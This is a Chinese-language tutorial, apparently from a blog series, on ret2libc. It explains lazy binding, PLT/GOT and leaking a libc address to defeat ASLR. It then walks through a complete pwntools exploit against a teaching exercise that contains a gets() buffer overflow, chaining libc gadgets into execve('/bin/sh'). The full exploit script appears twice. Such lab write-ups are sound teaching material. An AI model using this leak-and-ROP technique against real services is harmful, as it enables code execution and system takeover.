在上一篇文章中,我們介紹了如何利用 ROP(Return-Oriented Programming)來繞過 NX(No-eXecute)保護機制。並且透過一隻靜態連結的程式作為例題,然而,現實中大多數程式是使用動態連結的,那這樣還能 ROP 嗎?
可以的!本篇文章將說明如何利用動態函式庫中的 Gadget 來達成 ROP,這種技術稱為 ret2libc。
文章架構如下:
與靜態連結直接將所需函式庫嵌入到執行檔中不同,動態連結(Dynamic Linking)是在程式執行時才載入外部函式庫。外部函式在程式碼中只有相對位址(偏移量),動態連結器會在執行期間,將這些外部函式的位址重新定址為真正載入記憶體中的位址。
然而,當外部函式數量龐大時,若在啟動時就一一解析位址,會嚴重影響效能。為了優化啟動速度,就有人提出一種概念,即函數有被呼叫時才去尋找真正的位址,這個概念稱為延遲綁定(Lazy Binding)
以呼叫 printf() 函式為例,延遲綁定的運作過程如下:
當程式第一次呼叫 printf() 這個外部函式時,它會透過 .plt 段落中的對應項目來進行跳轉。這個 PLT 項目不會直接執行 printf(),而是會跳轉到一段動態連結的程式碼。這段程式碼會啟動動態連結器,負責解析 printf() 的實際位址。
當動態連結器找到 printf() 的位址後,它會將這個位址填入 GOT(全域偏移表,Global Offset Table)中的對應項目。之後每次呼叫 printf(),程式會直接從 GOT 表中讀取已解析好 printf() 位址,避免再度啟動動態連結。
補充:PLT(Procedure Linkage Table,程式連結表)是 ELF(Executable and Linkable Format)檔案中的一個區段,內含一段跳轉用的程式碼。
整個延遲綁定的機制如上述所示,我們可以注意到在記憶體中有一個位置(GOT)存放著外部函數與實際位址的對應關係,也就是說只要有辦法洩漏這張表的內容,ASLR 的保護機制(能隨機共享函式庫的起始位址)形同虛設。
當攻擊靜態連結的程式時,我們可以直接在程式中找到 ROP 所需的 Gadget。但對於動態連結的程式,除了程式本身,我們還可以在共享函式庫中尋找 Gadget。然而它的難點在於,當我們找到共享函式庫中 Gadget 的位址(為起始位址的偏移量)時,會因為 ASLR 這個保護機制導致載入的起始位址隨機,如同 Day6 最下方的說明,導致找到的 Gadget 位址非實際載入的位址
但由於整個共享函式庫的相對位址不變,因此 Gadget 的實際位址 = 找到的 Gadget 位址(起始位址的偏移量) + 載入的起始位址。
那我們要怎麼知道載入的起始位址呢? 接下來我們透過實際的範例做進一步的說明,使用張元於 NTU Computer Security Fall 2019 - 台大計算機安全的 ret2libc
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
init();
puts( "Say hello to stack :D" );
char buf[48];
gets(buf);
return 0;
}
同樣也關閉 Canary 與 PIE 保護機制。
可以看到這個程式使用了 gets() 函數,因此存在 Stack Buffer Overflow 漏洞。不過,程式沒有後門函數,並且已開啟 NX 保護機制,這意味著我們無法執行自己寫入的 Shellcode。然而,正如上一篇文章所提到的,我們可以透過 ROP(Return Oriented Programming)技術,使用程式中的小片段(Gadgets)來繞過 NX 保護。
當我們嘗試對這隻程式使用 ROPGadget 工具時,會發現沒有像 system、syscall 或 /bin/sh 這類可以直接開啟 Shell 的 Gadgets。不過,儘管這隻程式本身沒有這些 Gadgets,我們仍可以從共享函式庫中找到它們,這就是為什麼這個攻擊手法被稱為 ret2libc:ROP Chain 是由共享函式庫的程式片段所組成的。
要知道這個程式使用了哪些動態函式庫,我們可以使用 ldd 指令來列出它所依賴的共享函式庫,命令如下:
ldd ./ret2libc
其中 libc.so.6
就是我們要使用的動態函式庫,後面顯示的是它的路徑。
註:為了方便練習,我們在本地環境進行攻擊。因此,我們使用本地的共享函式庫來操作。這樣我們可以利用已知的函式庫地址和偏移量來構造 ROP Chain,而不必考慮遠端環境的函式庫版本差異。如果是在遠端伺服器上進行攻擊,則可能需要額外考慮函式庫版本差異,甚至需要使用其他技巧來取得遠端函式庫的基址。
如同上一篇文章所述,我們的目標是通過 Gadget 組成 execve("/bin/sh", NULL, NULL)
,下圖顯示了所需的 Stack 結構:
我們可以發現需要的 Gadget 全部都能在共享函式庫(/lib/x86_64-linux-gnu/libc.so.6
)中找到,如下圖
然而,由於 ASLR(Address Space Layout Randomization)保護機制,我們需要考慮共享函式庫的起始載入位址,並加上相應的偏移量。
那麼,如何找到共享函式庫的起始位址呢?我們來看個例子。假設我們知道 printf 函數在記憶體中的實際載入位址:
由於有共享函式庫的檔案,我們可以知道 printf 位在檔案中的哪裡,即從檔案起始開始算的偏移量。假設它的偏移量為 6 而實際位址為 0x1006,可以很明顯的看出 libc 被載入的起始位置為 0x1006 - 6 = 0x1000。
接著,假如我們現在想知道 system 的實際位址,就會像這樣:
只需要將 system() 在檔案中的偏移量加上剛剛我們算出的載入起始位址(0x1000),就能得知 system() 的實際位址為 0x1000+12(0xc)。
不只是 system(),整份檔案只要加上 0x1000 就會是實際位址,包含我們從 ROPgadget 找到的 Gadgat。簡單來說,只要我們能 Leak(洩露)出某個函數的實際位址,就能繞過 ASLR 保護。
還記得上面提到的延遲綁定機制嗎?只要函數有被呼叫過他的真實位址就會被存進 GOT(Global Offset Table),也就是說我們可以透過印出 GOT 的內容來取得函數的真實位址,因為函數一旦被呼叫,它的實際位址就會被存入 GOT。
也因此整個攻擊過程如下:
printf(某使用過函數的GOT內容)
execve("/bin/sh", NULL, NULL)
的 ROP Chain,最終取得 Shell。接下來我們將一步一步撰寫攻擊腳本
from pwn import *
context.binary = './ret2libc'
p = process('./ret2libc')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
除了前說明過的設定架構與運行程式以外,由於之後會使用到 libc.so.6
這隻動態函式庫,因此我們可以使用 pwntools 中的 ELF()
函數將 ELF 檔包進來並做解析。
要 Leak 出某函數的位址需要幾個條件:
pop rdi; ret;
的 Gadget 才能將需要輸出的 Leak Address 做為輸出函數(printf
、puts
等)的第一個參數RDI
暫存器printf
或 puts
等輸出函數,將上述 GOT 內容輸出首先,先使用 ROPgadget 找到 pop rdi; ret;
:
pop_rdi = 0x0000000000400733
接著我們要選定一個有被使用過函數的 GOT,可以是程式中有用的到 gets()
、puts
甚至是呼叫 main 的 libc_start_main()
都可以。我們以 gets()
舉例,要找到 gets()
的 GOT 位址可以使用 objdump 找:
前面有說到 plt 會透過跳轉指令去取得 GOT 的內容,因此 gets@plt
的第一行後面的 601020 <gets@GLIBC_2.2.5>
即為 gets
的 GOT 位址。
此外,也可以像下面這樣:
gets_got = context.binary.got['gets']
context.binary
為我們的程式 ret2lib
,可以透過此種方式讓 pwntools 幫我們找到。
再來,我們要找到輸出函數函數的位址,程式中有 puts()
這個函數供我們使用,同樣使用 pwntools 工具幫我們找到 puts()
的位址:
puts_plt = context.binary.plt['puts']
最後,我們需要 main()
的位址:
main_adr = context.binary.symbols['main']
以及我們要計算 padding,作為 Retrun Address 之前的填充
可以看出我們的 padding 為 0x30 + 8
padding = b'A' * (0x30 + 8)
將上述內容整合成一段 payload,如下:
payload1 = flat(
padding,
pop_rdi,
gets_got,
puts_plt,
main_adr
)
p.sendlineafter('D\n', payload1)
gets_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_addr = gets_addr - libc.symbols['gets']
先將上述的 payload 發送後,我們可以接收到 gets()
的實際位址,藉此算出 libc 的載入初始位址。
獲得 libc 的載入初始位址後就能將獲得從 libc.so.6 找到的 Gadget 實際位址,並且透過這些 Gadget 串成 execve("/bin/sh", NULL, NULL)
:
pop_rdi = 0x0000000000028215 + libc_addr
bin_sh_addr = 0x0000000000197e34 + libc_addr
pop_rsi = 0x0000000000029b29 + libc_addr
pop_rdx = 0x00000000001085ad + libc_addr
pop_rax = 0x0000000000040647 + libc_addr
syscall = 0x00000000000264a3 + libc_addr
payload2 = flat(
padding,
pop_rdi,
bin_sh_addr,
pop_rsi,
0,
pop_rdx,
0,
pop_rax,
0x3b,
syscall
)
p.sendlineafter('D\n', payload2)
p.interactive()
註:可以參考上一篇對於此 ROP Chain 的說明
整段攻擊腳本如下:
from pwn import *
context.binary = './ret2libc'
p = process('./ret2libc')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x0000000000400733
gets_got = context.binary.got['gets']
puts_plt = context.binary.plt['puts']
main_adr = context.binary.symbols['main']
padding = b'A' * (0x30 + 8)
payload1 = flat(
padding,
pop_rdi,
gets_got,
puts_plt,
main_adr
)
p.sendlineafter('D\n', payload1)
gets_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_addr = gets_addr - libc.symbols['gets']
pop_rdi = 0x0000000000028215 + libc_addr
bin_sh_addr = 0x0000000000197e34 + libc_addr
pop_rsi = 0x0000000000029b29 + libc_addr
pop_rdx = 0x00000000001085ad + libc_addr
pop_rax = 0x0000000000040647 + libc_addr
syscall = 0x00000000000264a3 + libc_addr
payload2 = flat(
padding,
pop_rdi,
bin_sh_addr,
pop_rsi,
0,
pop_rdx,
0,
pop_rax,
0x3b,
syscall
)
p.sendlineafter('D\n', payload2)
p.interactive()